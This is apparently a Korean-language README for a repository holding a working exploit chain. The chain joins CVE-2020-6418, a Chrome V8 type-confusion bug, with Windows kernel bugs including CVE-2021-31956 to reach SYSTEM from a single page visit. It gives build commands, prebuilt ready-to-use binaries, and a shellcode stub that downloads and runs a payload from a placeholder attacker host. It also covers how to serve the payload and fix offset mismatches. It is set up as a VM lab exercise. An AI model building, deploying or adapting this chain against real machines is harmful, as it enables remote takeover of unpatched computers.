
CVE-2020-6418(Chrome RCE)을 Windows 권한 상승과 연결하여 SYSTEM 권한을 획득하는 단일 단계 익스플로잇 체인으로, 빌드 스크립트 및 사전 빌드된 바이너리를 포함합니다.
이 리포지토리에는 CVE-2020-6418에 대한 동작하는 단일 단계 익스플로잇 체인이 포함되어 있습니다 (V8의 Turbofan 컴파일러의 타입 혼동 버그로, Google Chrome 80.0.3987.87 x64에 영향을 줍니다). 취약한 Chrome으로 악성 페이지를 방문하면 렌더러 프로세스 내에서 네이티브 코드 실행이 가능해집니다. 여기서 익스플로잇은 두 가지 버그를 연결하는 두 번째 바이너리를 다운로드해 실행합니다 (NtPowerInformation의 누락된 길이 검사와 ntfs.sys의 풀 오버플로우인 CVE-2021-31956). 이를 통해 권한 없는 프로세스에서 NT AUTHORITY\SYSTEM 권한까지 완전히 상승합니다.
이 모든 과정은 페이지를 한 번 방문하는 것만으로 실행되며, 브라우저 버그와 SYSTEM 셸 사이에 수동 단계가 없습니다.
Chrome 익스플로잇의 원래 크레딧은 Clement Lecigne(버그 발견, Google TAG)와 Istvan Kurucsai / Vignesh S Rao(원래 개념 증명, 이후 Metasploit 모듈로 배포됨)에게 있습니다. 우리는 Metasploit 의존성을 제거하고, 페이지에 페이로드를 포함하는 대신 네이티브 다운로더를 중심으로 전달 메커니즘을 재구축했습니다. 자세한 내용은 browser-exploit/README.md에 있습니다.
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
공격자 머신("호스트"): Visual Studio 2019 또는 2022(모든 에디션, Community도 무방, 또는 Build Tools만 있어도 됨), NASM, Python 3이 설치된 최신 Windows가 필요합니다. 여기서 모든 것을 빌드하고 익스플로잇 페이지를 서빙합니다.
대상 머신("VM"): 정확히 일치해야 합니다. 익스플로잇은 이 특정 빌드에서만 유효한 하드코딩된 오프셋에 의존합니다.
winver 또는 PowerShell에서 [System.Environment]::OSVersion으로 확인하세요.chrome://version으로 확인하세요.C:\lab8 폴더 (비어 있어도 됩니다. 존재하기만 하면 됩니다).호스트 전용 네트워크 어댑터를 사용하는 VMware Workstation VM에서 테스트했지만, VM이 호스트에 HTTP로 접근할 수 있는 구성이라면 어떤 환경에서도 동일하게 작동합니다.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
첫 빌드 전에 browser-exploit\shellcode\download_and_run_stub.asm을 열고 아래쪽에 있는 다음 두 줄을 편집하세요:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP는 VM에서 보이는 이 머신의 IP 주소입니다 (VM에서 ipconfig를 실행해 호스트 전용 또는 NAT 네트워크에 해당하는 네트워크 어댑터를 확인하거나, 호스트에서 ipconfig를 실행해 VM과 같은 서브넷에 있는 어댑터를 사용하면 됩니다). destination_path는 EoP 바이너리가 VM 내부에 놓이길 원하는 위치와 일치해야 하며, 기본값은 C:\lab8입니다.
편집 후 스텁을 다시 어셈블하고 exploit.html을 다시 생성하세요 (1단계의 두 명령을 실행하되, privilege-escalation 빌드는 IP에 의존하지 않으므로 건너뜁니다).
빠른 테스트를 위해 어셈블리 파일을 건드리고 싶지 않다면, prebuilt/에 자체 테스트 IP가 포함된 작동하는 복사본이 이미 있습니다. 네트워크가 우연히 일치할 때만 작동하므로, 자신만의 복사본을 빌드하는 것이 확실한 방법입니다.
exploit.html과 exploit.exe(privilege-escalation/에서 빌드한 것)를 같은 폴더에 넣은 다음:
python -m http.server 8000
exploit.exe는 위의 download_url에 넣은 정확한 URL에서 접근 가능해야 합니다. 네이티브 스텁이 브라우저를 거치지 않고 직접 가져오기 때문입니다.
호스트 방화벽에 대한 간단한 참고 사항: VM이 포트 8000에 접근할 수 없다면, 거의 항상 Windows Defender 방화벽이 미분류 네트워크에서 인바운드 연결을 차단하거나 python.exe를 구체적으로 차단하는 잔여 규칙 때문입니다 (Windows는 앱이 신뢰할 수 없는 네트워크에서 연결을 수락하려고 할 때 자동으로 그런 규칙을 생성하는 경우가 있습니다). 이 문제가 발생하면 관리자 PowerShell에서 Get-NetFirewallRule -DisplayName "python.exe"를 확인하세요.
C:\lab8이 아직 없으면 생성합니다 (비어 있어도 됩니다).C:\Windows\bootstat.dat가 없거나 비어 있을 수 있으며, 커널 버그가 이 파일이 유효한 내용으로 존재하기를 요구합니다. 필요한 경우:if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
--no-sandbox 플래그로 취약한 Chrome을 실행하고 (이 PoC에는 샌드박스 탈출이 포함되어 있지 않으므로, 렌더러가 파일 시스템에 접근하고 프로세스를 실행하려면 이미 샌드박스가 해제된 상태여야 합니다) 페이지를 가리키세요:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
DevTools(F12)를 열고 Console 탭을 확인하세요. 익스플로잇이 진행 상황을 여기에 기록합니다. 모든 것이 맞아떨어지면 타입 혼동이 성공하고, 스텁이 EoP 바이너리를 다운로드해 실행하며, 몇 초 후 NT AUTHORITY\SYSTEM 권한으로 실행되는 새 콘솔 창이 나타나는 것을 볼 수 있습니다.
익스플로잇이 실행되지 않고 Chrome이 크래시되는 경우: 거의 항상 Chrome 빌드 불일치입니다. exploit_template.html의 오프셋(objleaker_offset, float_carw_elements_offset 등)은 80.0.3987.87 x64에 특화되어 있어, 패치 버전이 하나만 달라도 다른 빌드에서는 작동하지 않습니다.
EoP 바이너리가 콘솔은 열지만 SYSTEM 권한에 도달하지 못하는 경우: 같은 이유입니다. Windows 빌드가 정확히 19041.264인지 확인하세요. 커널 오프셋(DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, 그리고 privilege-escalation/exploit.c의 여러 EPROCESS/ETHREAD 오프셋)은 해당 빌드에 하드코딩되어 있습니다.
다운로드 스텁이 아무것도 가져오지 않는 것 같음: download_and_run_stub.asm의 download_url이 호스트가 실제로 서빙 중인 주소와 포트와 일치하는지, 그리고 VM이 그 주소에 접근할 수 있는지 다시 확인하세요 (VM 내부에서 curl http://YOUR_HOST_IP:8000/exploit.exe를 실행해 보면 익스플로잇을 탓하기 전에 연결을 빠르게 확인할 수 있습니다).
각 구성 요소에 대한 자세한 내용(그렇게 빌드된 이유 포함)은 각 폴더의 README에 있습니다.